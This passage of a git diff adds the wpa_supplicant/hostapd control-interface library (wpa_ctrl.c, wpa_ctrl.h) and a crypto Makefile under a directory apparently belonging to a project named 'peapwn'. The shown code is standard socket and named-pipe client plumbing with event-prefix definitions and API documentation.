SOCK_DGRAM) < 0) { + close(ctrl->s); + unlink(ctrl->local.sun_path); + os_free(ctrl); + return NULL; + } + return ctrl; + } +#endif /* ANDROID */ + + ctrl->dest.sun_family = AF_UNIX; + if (os_strncmp(ctrl_path, "@abstract:", 10) == 0) { + ctrl->dest.sun_path[0] = '\0'; + os_strlcpy(ctrl->dest.sun_path + 1, ctrl_path + 10, + sizeof(ctrl->dest.sun_path) - 1); + } else { + res = os_strlcpy(ctrl->dest.sun_path, ctrl_path, + sizeof(ctrl->dest.sun_path)); + if (res >= sizeof(ctrl->dest.sun_path)) { + close(ctrl->s); + os_free(ctrl); + return NULL; + } + } + if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest, + sizeof(ctrl->dest)) < 0) { + close(ctrl->s); + unlink(ctrl->local.sun_path); + os_free(ctrl); + return NULL; + } + + /* + * Make socket non-blocking so that we don't hang forever if + * target dies unexpectedly. + */ + flags = fcntl(ctrl->s, F_GETFL); + if (flags >= 0) { + flags |= O_NONBLOCK; + if (fcntl(ctrl->s, F_SETFL, flags) < 0) { + perror("fcntl(ctrl->s, O_NONBLOCK)"); + /* Not fatal, continue on.*/ + } + } + + return ctrl; +} + + +void wpa_ctrl_close(struct wpa_ctrl *ctrl) +{ + if (ctrl == NULL) + return; + unlink(ctrl->local.sun_path); + if (ctrl->s >= 0) + close(ctrl->s); + os_free(ctrl); +} + + +#ifdef ANDROID +/** + * wpa_ctrl_cleanup() - Delete any local UNIX domain socket files that + * may be left over from clients that were previously connected to + * wpa_supplicant. This keeps these files from being orphaned in the + * event of crashes that prevented them from being removed as part + * of the normal orderly shutdown. + */ +void wpa_ctrl_cleanup(void) +{ + DIR *dir; + struct dirent entry; + struct dirent *result; + size_t dirnamelen; + size_t maxcopy; + char pathname[PATH_MAX]; + char *namep; + + if ((dir = opendir(CONFIG_CTRL_IFACE_CLIENT_DIR)) == NULL) + return; + + dirnamelen = (size_t) os_snprintf(pathname, sizeof(pathname), "%s/", + CONFIG_CTRL_IFACE_CLIENT_DIR); + if (dirnamelen >= sizeof(pathname)) { + closedir(dir); + return; + } + namep = pathname + dirnamelen; + maxcopy = PATH_MAX - dirnamelen; + while (readdir_r(dir, &entry, &result) == 0 && result != NULL) { + if (os_strlcpy(namep, entry.d_name, maxcopy) < maxcopy) + unlink(pathname); + } + closedir(dir); +} +#endif /* ANDROID */ + +#else /* CONFIG_CTRL_IFACE_UNIX */ + +#ifdef ANDROID +void wpa_ctrl_cleanup(void) +{ +} +#endif /* ANDROID */ + +#endif /* CONFIG_CTRL_IFACE_UNIX */ + + +#ifdef CONFIG_CTRL_IFACE_UDP + +struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) +{ + struct wpa_ctrl *ctrl; + char buf[128]; + size_t len; +#ifdef CONFIG_CTRL_IFACE_UDP_REMOTE + struct hostent *h; +#endif /* CONFIG_CTRL_IFACE_UDP_REMOTE */ + + ctrl = os_malloc(sizeof(*ctrl)); + if (ctrl == NULL) + return NULL; + os_memset(ctrl, 0, sizeof(*ctrl)); + + ctrl->s = socket(PF_INET, SOCK_DGRAM, 0); + if (ctrl->s < 0) { + perror("socket"); + os_free(ctrl); + return NULL; + } + + ctrl->local.sin_family = AF_INET; +#ifdef CONFIG_CTRL_IFACE_UDP_REMOTE + ctrl->local.sin_addr.s_addr = INADDR_ANY; +#else /* CONFIG_CTRL_IFACE_UDP_REMOTE */ + ctrl->local.sin_addr.s_addr = htonl((127 << 24) | 1); +#endif /* CONFIG_CTRL_IFACE_UDP_REMOTE */ + if (bind(ctrl->s, (struct sockaddr *) &ctrl->local, + sizeof(ctrl->local)) < 0) { + close(ctrl->s); + os_free(ctrl); + return NULL; + } + + ctrl->dest.sin_family = AF_INET; + ctrl->dest.sin_addr.s_addr = htonl((127 << 24) | 1); + ctrl->dest.sin_port = htons(WPA_CTRL_IFACE_PORT); + +#ifdef CONFIG_CTRL_IFACE_UDP_REMOTE + if (ctrl_path) { + char *port, *name; + int port_id; + + name = os_strdup(ctrl_path); + if (name == NULL) { + close(ctrl->s); + os_free(ctrl); + return NULL; + } + port = os_strchr(name, ':'); + + if (port) { + port_id = atoi(&port[1]); + port[0] = '\0'; + } else + port_id = WPA_CTRL_IFACE_PORT; + + h = gethostbyname(name); + ctrl->remote_ip = os_strdup(name); + os_free(name); + if (h == NULL) { + perror("gethostbyname"); + close(ctrl->s); + os_free(ctrl->remote_ip); + os_free(ctrl); + return NULL; + } + ctrl->dest.sin_port = htons(port_id); + os_memcpy(h->h_addr, (char *) &ctrl->dest.sin_addr.s_addr, + h->h_length); + } else + ctrl->remote_ip = os_strdup("localhost"); +#endif /* CONFIG_CTRL_IFACE_UDP_REMOTE */ + + if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest, + sizeof(ctrl->dest)) < 0) { + perror("connect"); + close(ctrl->s); + os_free(ctrl->remote_ip); + os_free(ctrl); + return NULL; + } + + len = sizeof(buf) - 1; + if (wpa_ctrl_request(ctrl, "GET_COOKIE", 10, buf, &len, NULL) == 0) { + buf[len] = '\0'; + ctrl->cookie = os_strdup(buf); + } + + if (wpa_ctrl_request(ctrl, "IFNAME", 6, buf, &len, NULL) == 0) { + buf[len] = '\0'; + ctrl->remote_ifname = os_strdup(buf); + } + + return ctrl; +} + + +char * wpa_ctrl_get_remote_ifname(struct wpa_ctrl *ctrl) +{ +#define WPA_CTRL_MAX_PS_NAME 100 + static char ps[WPA_CTRL_MAX_PS_NAME] = {}; + os_snprintf(ps, WPA_CTRL_MAX_PS_NAME, "%s/%s", + ctrl->remote_ip, ctrl->remote_ifname); + return ps; +} + + +void wpa_ctrl_close(struct wpa_ctrl *ctrl) +{ + close(ctrl->s); + os_free(ctrl->cookie); + os_free(ctrl->remote_ifname); + os_free(ctrl->remote_ip); + os_free(ctrl); +} + +#endif /* CONFIG_CTRL_IFACE_UDP */ + + +#ifdef CTRL_IFACE_SOCKET +int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, + char *reply, size_t *reply_len, + void (*msg_cb)(char *msg, size_t len)) +{ + struct timeval tv; + struct os_time started_at; + int res; + fd_set rfds; + const char *_cmd; + char *cmd_buf = NULL; + size_t _cmd_len; + +#ifdef CONFIG_CTRL_IFACE_UDP + if (ctrl->cookie) { + char *pos; + _cmd_len = os_strlen(ctrl->cookie) + 1 + cmd_len; + cmd_buf = os_malloc(_cmd_len); + if (cmd_buf == NULL) + return -1; + _cmd = cmd_buf; + pos = cmd_buf; + os_strlcpy(pos, ctrl->cookie, _cmd_len); + pos += os_strlen(ctrl->cookie); + *pos++ = ' '; + os_memcpy(pos, cmd, cmd_len); + } else +#endif /* CONFIG_CTRL_IFACE_UDP */ + { + _cmd = cmd; + _cmd_len = cmd_len; + } + + errno = 0; + started_at.sec = 0; + started_at.usec = 0; +retry_send: + if (send(ctrl->s, _cmd, _cmd_len, 0) < 0) { + if (errno == EAGAIN || errno == EBUSY || errno == EWOULDBLOCK) + { + /* + * Must be a non-blocking socket... Try for a bit + * longer before giving up. + */ + if (started_at.sec == 0) + os_get_time(&started_at); + else { + struct os_time n; + os_get_time(&n); + /* Try for a few seconds. */ + if (n.sec > started_at.sec + 5) + goto send_err; + } + os_sleep(1, 0); + goto retry_send; + } + send_err: + os_free(cmd_buf); + return -1; + } + os_free(cmd_buf); + + for (;;) { + tv.tv_sec = 10; + tv.tv_usec = 0; + FD_ZERO(&rfds); + FD_SET(ctrl->s, &rfds); + res = select(ctrl->s + 1, &rfds, NULL, NULL, &tv); + if (res < 0) + return res; + if (FD_ISSET(ctrl->s, &rfds)) { + res = recv(ctrl->s, reply, *reply_len, 0); + if (res < 0) + return res; + if (res > 0 && reply[0] == '<') { + /* This is an unsolicited message from + * wpa_supplicant, not the reply to the + * request. Use msg_cb to report this to the + * caller. */ + if (msg_cb) { + /* Make sure the message is nul + * terminated. */ + if ((size_t) res == *reply_len) + res = (*reply_len) - 1; + reply[res] = '\0'; + msg_cb(reply, res); + } + continue; + } + *reply_len = res; + break; + } else { + return -2; + } + } + return 0; +} +#endif /* CTRL_IFACE_SOCKET */ + + +static int wpa_ctrl_attach_helper(struct wpa_ctrl *ctrl, int attach) +{ + char buf[10]; + int ret; + size_t len = 10; + + ret = wpa_ctrl_request(ctrl, attach ? "ATTACH" : "DETACH", 6, + buf, &len, NULL); + if (ret < 0) + return ret; + if (len == 3 && os_memcmp(buf, "OK\n", 3) == 0) + return 0; + return -1; +} + + +int wpa_ctrl_attach(struct wpa_ctrl *ctrl) +{ + return wpa_ctrl_attach_helper(ctrl, 1); +} + + +int wpa_ctrl_detach(struct wpa_ctrl *ctrl) +{ + return wpa_ctrl_attach_helper(ctrl, 0); +} + + +#ifdef CTRL_IFACE_SOCKET + +int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len) +{ + int res; + + res = recv(ctrl->s, reply, *reply_len, 0); + if (res < 0) + return res; + *reply_len = res; + return 0; +} + + +int wpa_ctrl_pending(struct wpa_ctrl *ctrl) +{ + struct timeval tv; + fd_set rfds; + tv.tv_sec = 0; + tv.tv_usec = 0; + FD_ZERO(&rfds); + FD_SET(ctrl->s, &rfds); + select(ctrl->s + 1, &rfds, NULL, NULL, &tv); + return FD_ISSET(ctrl->s, &rfds); +} + + +int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl) +{ + return ctrl->s; +} + +#endif /* CTRL_IFACE_SOCKET */ + + +#ifdef CONFIG_CTRL_IFACE_NAMED_PIPE + +#ifndef WPA_SUPPLICANT_NAMED_PIPE +#define WPA_SUPPLICANT_NAMED_PIPE "WpaSupplicant" +#endif +#define NAMED_PIPE_PREFIX TEXT("\\\\.\\pipe\\") TEXT(WPA_SUPPLICANT_NAMED_PIPE) + +struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) +{ + struct wpa_ctrl *ctrl; + DWORD mode; + TCHAR name[256]; + int i, ret; + + ctrl = os_malloc(sizeof(*ctrl)); + if (ctrl == NULL) + return NULL; + os_memset(ctrl, 0, sizeof(*ctrl)); + +#ifdef UNICODE + if (ctrl_path == NULL) + ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX); + else + ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX TEXT("-%S"), + ctrl_path); +#else /* UNICODE */ + if (ctrl_path == NULL) + ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX); + else + ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX "-%s", + ctrl_path); +#endif /* UNICODE */ + if (ret < 0 || ret >= 256) { + os_free(ctrl); + return NULL; + } + + for (i = 0; i < 10; i++) { + ctrl->pipe = CreateFile(name, GENERIC_READ | GENERIC_WRITE, 0, + NULL, OPEN_EXISTING, 0, NULL); + /* + * Current named pipe server side in wpa_supplicant is + * re-opening the pipe for new clients only after the previous + * one is taken into use. This leaves a small window for race + * conditions when two connections are being opened at almost + * the same time. Retry if that was the case. + */ + if (ctrl->pipe != INVALID_HANDLE_VALUE || + GetLastError() != ERROR_PIPE_BUSY) + break; + WaitNamedPipe(name, 1000); + } + if (ctrl->pipe == INVALID_HANDLE_VALUE) { + os_free(ctrl); + return NULL; + } + + mode = PIPE_READMODE_MESSAGE; + if (!SetNamedPipeHandleState(ctrl->pipe, &mode, NULL, NULL)) { + CloseHandle(ctrl->pipe); + os_free(ctrl); + return NULL; + } + + return ctrl; +} + + +void wpa_ctrl_close(struct wpa_ctrl *ctrl) +{ + CloseHandle(ctrl->pipe); + os_free(ctrl); +} + + +int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, + char *reply, size_t *reply_len, + void (*msg_cb)(char *msg, size_t len)) +{ + DWORD written; + DWORD readlen = *reply_len; + + if (!WriteFile(ctrl->pipe, cmd, cmd_len, &written, NULL)) + return -1; + + if (!ReadFile(ctrl->pipe, reply, *reply_len, &readlen, NULL)) + return -1; + *reply_len = readlen; + + return 0; +} + + +int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len) +{ + DWORD len = *reply_len; + if (!ReadFile(ctrl->pipe, reply, *reply_len, &len, NULL)) + return -1; + *reply_len = len; + return 0; +} + + +int wpa_ctrl_pending(struct wpa_ctrl *ctrl) +{ + DWORD left; + + if (!PeekNamedPipe(ctrl->pipe, NULL, 0, NULL, &left, NULL)) + return -1; + return left ? 1 : 0; +} + + +int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl) +{ + return -1; +} + +#endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */ + +#endif /* CONFIG_CTRL_IFACE */ diff --git a/peapwn/mods/hostap/src/common/wpa_ctrl.h b/peapwn/mods/hostap/src/common/wpa_ctrl.h new file mode 100644 index 000000000..b43531018 --- /dev/null +++ b/peapwn/mods/hostap/src/common/wpa_ctrl.h @@ -0,0 +1,354 @@ +/* + * wpa_supplicant/hostapd control interface library + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_CTRL_H +#define WPA_CTRL_H + +#ifdef __cplusplus +extern "C" { +#endif + +/* wpa_supplicant control interface - fixed message prefixes */ + +/** Interactive request for identity/password/pin */ +#define WPA_CTRL_REQ "CTRL-REQ-" + +/** Response to identity/password/pin request */ +#define WPA_CTRL_RSP "CTRL-RSP-" + +/* Event messages with fixed prefix */ +/** Authentication completed successfully and data connection enabled */ +#define WPA_EVENT_CONNECTED "CTRL-EVENT-CONNECTED " +/** Disconnected, data connection is not available */ +#define WPA_EVENT_DISCONNECTED "CTRL-EVENT-DISCONNECTED " +/** Association rejected during connection attempt */ +#define WPA_EVENT_ASSOC_REJECT "CTRL-EVENT-ASSOC-REJECT " +/** wpa_supplicant is exiting */ +#define WPA_EVENT_TERMINATING "CTRL-EVENT-TERMINATING " +/** Password change was completed successfully */ +#define WPA_EVENT_PASSWORD_CHANGED "CTRL-EVENT-PASSWORD-CHANGED " +/** EAP-Request/Notification received */ +#define WPA_EVENT_EAP_NOTIFICATION "CTRL-EVENT-EAP-NOTIFICATION " +/** EAP authentication started (EAP-Request/Identity received) */ +#define WPA_EVENT_EAP_STARTED "CTRL-EVENT-EAP-STARTED " +/** EAP method proposed by the server */ +#define WPA_EVENT_EAP_PROPOSED_METHOD "CTRL-EVENT-EAP-PROPOSED-METHOD " +/** EAP method selected */ +#define WPA_EVENT_EAP_METHOD "CTRL-EVENT-EAP-METHOD " +/** EAP peer certificate from TLS */ +#define WPA_EVENT_EAP_PEER_CERT "CTRL-EVENT-EAP-PEER-CERT " +/** EAP TLS certificate chain validation error */ +#define WPA_EVENT_EAP_TLS_CERT_ERROR "CTRL-EVENT-EAP-TLS-CERT-ERROR " +/** EAP status */ +#define WPA_EVENT_EAP_STATUS "CTRL-EVENT-EAP-STATUS " +/** EAP authentication completed successfully */ +#define WPA_EVENT_EAP_SUCCESS "CTRL-EVENT-EAP-SUCCESS " +/** EAP authentication failed (EAP-Failure received) */ +#define WPA_EVENT_EAP_FAILURE "CTRL-EVENT-EAP-FAILURE " +/** Network block temporarily disabled (e.g., due to authentication failure) */ +#define WPA_EVENT_TEMP_DISABLED "CTRL-EVENT-SSID-TEMP-DISABLED " +/** Temporarily disabled network block re-enabled */ +#define WPA_EVENT_REENABLED "CTRL-EVENT-SSID-REENABLED " +/** New scan results available */ +#define WPA_EVENT_SCAN_RESULTS "CTRL-EVENT-SCAN-RESULTS " +/** wpa_supplicant state change */ +#define WPA_EVENT_STATE_CHANGE "CTRL-EVENT-STATE-CHANGE " +/** A new BSS entry was added (followed by BSS entry id and BSSID) */ +#define WPA_EVENT_BSS_ADDED "CTRL-EVENT-BSS-ADDED " +/** A BSS entry was removed (followed by BSS entry id and BSSID) */ +#define WPA_EVENT_BSS_REMOVED "CTRL-EVENT-BSS-REMOVED " + +/** RSN IBSS 4-way handshakes completed with specified peer */ +#define IBSS_RSN_COMPLETED "IBSS-RSN-COMPLETED " + +/** WPS overlap detected in PBC mode */ +#define WPS_EVENT_OVERLAP "WPS-OVERLAP-DETECTED " +/** Available WPS AP with active PBC found in scan results */ +#define WPS_EVENT_AP_AVAILABLE_PBC "WPS-AP-AVAILABLE-PBC " +/** Available WPS AP with our address as authorized in scan results */ +#define WPS_EVENT_AP_AVAILABLE_AUTH "WPS-AP-AVAILABLE-AUTH " +/** Available WPS AP with recently selected PIN registrar found in scan results + */ +#define WPS_EVENT_AP_AVAILABLE_PIN "WPS-AP-AVAILABLE-PIN " +/** Available WPS AP found in scan results */ +#define WPS_EVENT_AP_AVAILABLE "WPS-AP-AVAILABLE " +/** A new credential received */ +#define WPS_EVENT_CRED_RECEIVED "WPS-CRED-RECEIVED " +/** M2D received */ +#define WPS_EVENT_M2D "WPS-M2D " +/** WPS registration failed after M2/M2D */ +#define WPS_EVENT_FAIL "WPS-FAIL " +/** WPS registration completed successfully */ +#define WPS_EVENT_SUCCESS "WPS-SUCCESS " +/** WPS enrollment attempt timed out and was terminated */ +#define WPS_EVENT_TIMEOUT "WPS-TIMEOUT " +/* PBC mode was activated */ +#define WPS_EVENT_ACTIVE "WPS-PBC-ACTIVE " +/* PBC mode was disabled */ +#define WPS_EVENT_DISABLE "WPS-PBC-DISABLE " + +#define WPS_EVENT_ENROLLEE_SEEN "WPS-ENROLLEE-SEEN " + +#define WPS_EVENT_OPEN_NETWORK "WPS-OPEN-NETWORK " + +/* WPS ER events */ +#define WPS_EVENT_ER_AP_ADD "WPS-ER-AP-ADD " +#define WPS_EVENT_ER_AP_REMOVE "WPS-ER-AP-REMOVE " +#define WPS_EVENT_ER_ENROLLEE_ADD "WPS-ER-ENROLLEE-ADD " +#define WPS_EVENT_ER_ENROLLEE_REMOVE "WPS-ER-ENROLLEE-REMOVE " +#define WPS_EVENT_ER_AP_SETTINGS "WPS-ER-AP-SETTINGS " +#define WPS_EVENT_ER_SET_SEL_REG "WPS-ER-AP-SET-SEL-REG " + +/** P2P device found */ +#define P2P_EVENT_DEVICE_FOUND "P2P-DEVICE-FOUND " + +/** P2P device lost */ +#define P2P_EVENT_DEVICE_LOST "P2P-DEVICE-LOST " + +/** A P2P device requested GO negotiation, but we were not ready to start the + * negotiation */ +#define P2P_EVENT_GO_NEG_REQUEST "P2P-GO-NEG-REQUEST " +#define P2P_EVENT_GO_NEG_SUCCESS "P2P-GO-NEG-SUCCESS " +#define P2P_EVENT_GO_NEG_FAILURE "P2P-GO-NEG-FAILURE " +#define P2P_EVENT_GROUP_FORMATION_SUCCESS "P2P-GROUP-FORMATION-SUCCESS " +#define P2P_EVENT_GROUP_FORMATION_FAILURE "P2P-GROUP-FORMATION-FAILURE " +#define P2P_EVENT_GROUP_STARTED "P2P-GROUP-STARTED " +#define P2P_EVENT_GROUP_REMOVED "P2P-GROUP-REMOVED " +#define P2P_EVENT_CROSS_CONNECT_ENABLE "P2P-CROSS-CONNECT-ENABLE " +#define P2P_EVENT_CROSS_CONNECT_DISABLE "P2P-CROSS-CONNECT-DISABLE " +/* parameters: */ +#define P2P_EVENT_PROV_DISC_SHOW_PIN "P2P-PROV-DISC-SHOW-PIN " +/* parameters: */ +#define P2P_EVENT_PROV_DISC_ENTER_PIN "P2P-PROV-DISC-ENTER-PIN " +/* parameters: */ +#define P2P_EVENT_PROV_DISC_PBC_REQ "P2P-PROV-DISC-PBC-REQ " +/* parameters: */ +#define P2P_EVENT_PROV_DISC_PBC_RESP "P2P-PROV-DISC-PBC-RESP " +/* parameters: */ +#define P2P_EVENT_PROV_DISC_FAILURE "P2P-PROV-DISC-FAILURE" +/* parameters: */ +#define P2P_EVENT_SERV_DISC_REQ "P2P-SERV-DISC-REQ " +/* parameters: */ +#define P2P_EVENT_SERV_DISC_RESP "P2P-SERV-DISC-RESP " +#define P2P_EVENT_INVITATION_RECEIVED "P2P-INVITATION-RECEIVED " +#define P2P_EVENT_INVITATION_RESULT "P2P-INVITATION-RESULT " +#define P2P_EVENT_FIND_STOPPED "P2P-FIND-STOPPED " +#define P2P_EVENT_PERSISTENT_PSK_FAIL "P2P-PERSISTENT-PSK-FAIL id=" + +/* parameters: */ +#define ESS_DISASSOC_IMMINENT "ESS-DISASSOC-IMMINENT " + +#define INTERWORKING_AP "INTERWORKING-AP " +#define INTERWORKING_NO_MATCH "INTERWORKING-NO-MATCH " +#define INTERWORKING_ALREADY_CONNECTED "INTERWORKING-ALREADY-CONNECTED " + +#define GAS_RESPONSE_INFO "GAS-RESPONSE-INFO " + +/* hostapd control interface - fixed message prefixes */ +#define WPS_EVENT_PIN_NEEDED "WPS-PIN-NEEDED " +#define WPS_EVENT_NEW_AP_SETTINGS "WPS-NEW-AP-SETTINGS " +#define WPS_EVENT_REG_SUCCESS "WPS-REG-SUCCESS " +#define WPS_EVENT_AP_SETUP_LOCKED "WPS-AP-SETUP-LOCKED " +#define WPS_EVENT_AP_SETUP_UNLOCKED "WPS-AP-SETUP-UNLOCKED " +#define WPS_EVENT_AP_PIN_ENABLED "WPS-AP-PIN-ENABLED " +#define WPS_EVENT_AP_PIN_DISABLED "WPS-AP-PIN-DISABLED " +#define AP_STA_CONNECTED "AP-STA-CONNECTED " +#define AP_STA_DISCONNECTED "AP-STA-DISCONNECTED " + +#define AP_REJECTED_MAX_STA "AP-REJECTED-MAX-STA " +#define AP_REJECTED_BLOCKED_STA "AP-REJECTED-BLOCKED-STA " + +#define AP_EVENT_ENABLED "AP-ENABLED " +#define AP_EVENT_DISABLED "AP-DISABLED " + +#define ACS_EVENT_STARTED "ACS-STARTED " +#define ACS_EVENT_COMPLETED "ACS-COMPLETED " +#define ACS_EVENT_FAILED "ACS-FAILED " + +#define DFS_EVENT_RADAR_DETECTED "DFS-RADAR-DETECTED " +#define DFS_EVENT_NEW_CHANNEL "DFS-NEW-CHANNEL " +#define DFS_EVENT_CAC_START "DFS-CAC-START " +#define DFS_EVENT_CAC_COMPLETED "DFS-CAC-COMPLETED " +#define DFS_EVENT_NOP_FINISHED "DFS-NOP-FINISHED " + +#define AP_CSA_FINISHED "AP-CSA-FINISHED " + +/* BSS command information masks */ + +#define WPA_BSS_MASK_ALL 0xFFFDFFFF +#define WPA_BSS_MASK_ID BIT(0) +#define WPA_BSS_MASK_BSSID BIT(1) +#define WPA_BSS_MASK_FREQ BIT(2) +#define WPA_BSS_MASK_BEACON_INT BIT(3) +#define WPA_BSS_MASK_CAPABILITIES BIT(4) +#define WPA_BSS_MASK_QUAL BIT(5) +#define WPA_BSS_MASK_NOISE BIT(6) +#define WPA_BSS_MASK_LEVEL BIT(7) +#define WPA_BSS_MASK_TSF BIT(8) +#define WPA_BSS_MASK_AGE BIT(9) +#define WPA_BSS_MASK_IE BIT(10) +#define WPA_BSS_MASK_FLAGS BIT(11) +#define WPA_BSS_MASK_SSID BIT(12) +#define WPA_BSS_MASK_WPS_SCAN BIT(13) +#define WPA_BSS_MASK_P2P_SCAN BIT(14) +#define WPA_BSS_MASK_INTERNETW BIT(15) +#define WPA_BSS_MASK_WIFI_DISPLAY BIT(16) +#define WPA_BSS_MASK_DELIM BIT(17) + + +/* wpa_supplicant/hostapd control interface access */ + +/** + * wpa_ctrl_open - Open a control interface to wpa_supplicant/hostapd + * @ctrl_path: Path for UNIX domain sockets; ignored if UDP sockets are used. + * Returns: Pointer to abstract control interface data or %NULL on failure + * + * This function is used to open a control interface to wpa_supplicant/hostapd. + * ctrl_path is usually /var/run/wpa_supplicant or /var/run/hostapd. This path + * is configured in wpa_supplicant/hostapd and other programs using the control + * interface need to use matching path configuration. + */ +struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path); + + +/** + * wpa_ctrl_close - Close a control interface to wpa_supplicant/hostapd + * @ctrl: Control interface data from wpa_ctrl_open() + * + * This function is used to close a control interface. + */ +void wpa_ctrl_close(struct wpa_ctrl *ctrl); + + +/** + * wpa_ctrl_request - Send a command to wpa_supplicant/hostapd + * @ctrl: Control interface data from wpa_ctrl_open() + * @cmd: Command; usually, ASCII text, e.g., "PING" + * @cmd_len: Length of the cmd in bytes + * @reply: Buffer for the response + * @reply_len: Reply buffer length + * @msg_cb: Callback function for unsolicited messages or %NULL if not used + * Returns: 0 on success, -1 on error (send or receive failed), -2 on timeout + * + * This function is used to send commands to wpa_supplicant/hostapd. Received + * response will be written to reply and reply_len is set to the actual length + * of the reply. This function will block for up to two seconds while waiting + * for the reply. If unsolicited messages are received, the blocking time may + * be longer. + * + * msg_cb can be used to register a callback function that will be called for + * unsolicited messages received while waiting for the command response. These + * messages may be received if wpa_ctrl_request() is called at the same time as + * wpa_supplicant/hostapd is sending such a message. This can happen only if + * the program has used wpa_ctrl_attach() to register itself as a monitor for + * event messages. Alternatively to msg_cb, programs can register two control + * interface connections and use one of them for commands and the other one for + * receiving event messages, in other words, call wpa_ctrl_attach() only for + * the control interface connection that will be used for event messages. + */ +int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, + char *reply, size_t *reply_len, + void (*msg_cb)(char *msg, size_t len)); + + +/** + * wpa_ctrl_attach - Register as an event monitor for the control interface + * @ctrl: Control interface data from wpa_ctrl_open() + * Returns: 0 on success, -1 on failure, -2 on timeout + * + * This function registers the control interface connection as a monitor for + * wpa_supplicant/hostapd events. After a success wpa_ctrl_attach() call, the + * control interface connection starts receiving event messages that can be + * read with wpa_ctrl_recv(). + */ +int wpa_ctrl_attach(struct wpa_ctrl *ctrl); + + +/** + * wpa_ctrl_detach - Unregister event monitor from the control interface + * @ctrl: Control interface data from wpa_ctrl_open() + * Returns: 0 on success, -1 on failure, -2 on timeout + * + * This function unregisters the control interface connection as a monitor for + * wpa_supplicant/hostapd events, i.e., cancels the registration done with + * wpa_ctrl_attach(). + */ +int wpa_ctrl_detach(struct wpa_ctrl *ctrl); + + +/** + * wpa_ctrl_recv - Receive a pending control interface message + * @ctrl: Control interface data from wpa_ctrl_open() + * @reply: Buffer for the message data + * @reply_len: Length of the reply buffer + * Returns: 0 on success, -1 on failure + * + * This function will receive a pending control interface message. This + * function will block if no messages are available. The received response will + * be written to reply and reply_len is set to the actual length of the reply. + * wpa_ctrl_recv() is only used for event messages, i.e., wpa_ctrl_attach() + * must have been used to register the control interface as an event monitor. + */ +int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len); + + +/** + * wpa_ctrl_pending - Check whether there are pending event messages + * @ctrl: Control interface data from wpa_ctrl_open() + * Returns: 1 if there are pending messages, 0 if no, or -1 on error + * + * This function will check whether there are any pending control interface + * message available to be received with wpa_ctrl_recv(). wpa_ctrl_pending() is + * only used for event messages, i.e., wpa_ctrl_attach() must have been used to + * register the control interface as an event monitor. + */ +int wpa_ctrl_pending(struct wpa_ctrl *ctrl); + + +/** + * wpa_ctrl_get_fd - Get file descriptor used by the control interface + * @ctrl: Control interface data from wpa_ctrl_open() + * Returns: File descriptor used for the connection + * + * This function can be used to get the file descriptor that is used for the + * control interface connection. The returned value can be used, e.g., with + * select() while waiting for multiple events. + * + * The returned file descriptor must not be used directly for sending or + * receiving packets; instead, the library functions wpa_ctrl_request() and + * wpa_ctrl_recv() must be used for this. + */ +int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl); + +char * wpa_ctrl_get_remote_ifname(struct wpa_ctrl *ctrl); + +#ifdef ANDROID +/** + * wpa_ctrl_cleanup() - Delete any local UNIX domain socket files that + * may be left over from clients that were previously connected to + * wpa_supplicant. This keeps these files from being orphaned in the + * event of crashes that prevented them from being removed as part + * of the normal orderly shutdown. + */ +void wpa_ctrl_cleanup(void); +#endif /* ANDROID */ + +#ifdef CONFIG_CTRL_IFACE_UDP +/* Port range for multiple wpa_supplicant instances and multiple VIFs */ +#define WPA_CTRL_IFACE_PORT 9877 +#define WPA_CTRL_IFACE_PORT_LIMIT 50 /* decremented from start */ +#define WPA_GLOBAL_CTRL_IFACE_PORT 9878 +#define WPA_GLOBAL_CTRL_IFACE_PORT_LIMIT 20 /* incremented from start */ +#endif /* CONFIG_CTRL_IFACE_UDP */ + + +#ifdef __cplusplus +} +#endif + +#endif /* WPA_CTRL_H */ diff --git a/peapwn/mods/hostap/src/crypto/.gitignore b/peapwn/mods/hostap/src/crypto/.gitignore new file mode 100644 index 000000000..ee606048c --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/.gitignore @@ -0,0 +1 @@ +libcrypto.a diff --git a/peapwn/mods/hostap/src/crypto/Makefile b/peapwn/mods/hostap/src/crypto/Makefile new file mode 100644 index 000000000..fcf958629 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/Makefile @@ -0,0 +1,62 @@ +all: libcrypto.a + +clean: + rm -f *~ *.o *.d *.gcno *.gcda *.gcov libcrypto.a + +install: + @echo Nothing to be made. + + +include ../lib.rules + +CFLAGS += -DCONFIG_TLS_INTERNAL_CLIENT +CFLAGS += -DCONFIG_TLS_INTERNAL_SERVER +#CFLAGS += -DALL_DH_GROUPS +CFLAGS += -DCONFIG_SHA256 + +LIB_OBJS= \ + aes-cbc.o \ + aes-ccm.o \ + aes-ctr.o \ + aes-eax.o \ + aes-encblock.o \ + aes-gcm.o \ + aes-internal.o \ + aes-internal-dec.o \ + aes-internal-enc.o \ + aes-omac1.o \ + aes-unwrap.o \ + aes-wrap.o \ + des-internal.o \ + dh_group5.o \ + dh_groups.o \ + md4-internal.o \ + md5.o \ + md5-internal.o \ + milenage.o \ + ms_funcs.o \ + rc4.o \ + sha1.o \ + sha1-internal.o \ + sha1-pbkdf2.o \ + sha1-prf.o \ + sha1-tlsprf.o \ + sha1-tprf.o \ + sha256.o \ + sha256-prf.o \ + sha256-tlsprf.o \ + sha256-internal.o + +LIB_OBJS += crypto_internal.o +LIB_OBJS += crypto_internal-cipher.o +LIB_OBJS += crypto_internal-modexp.o 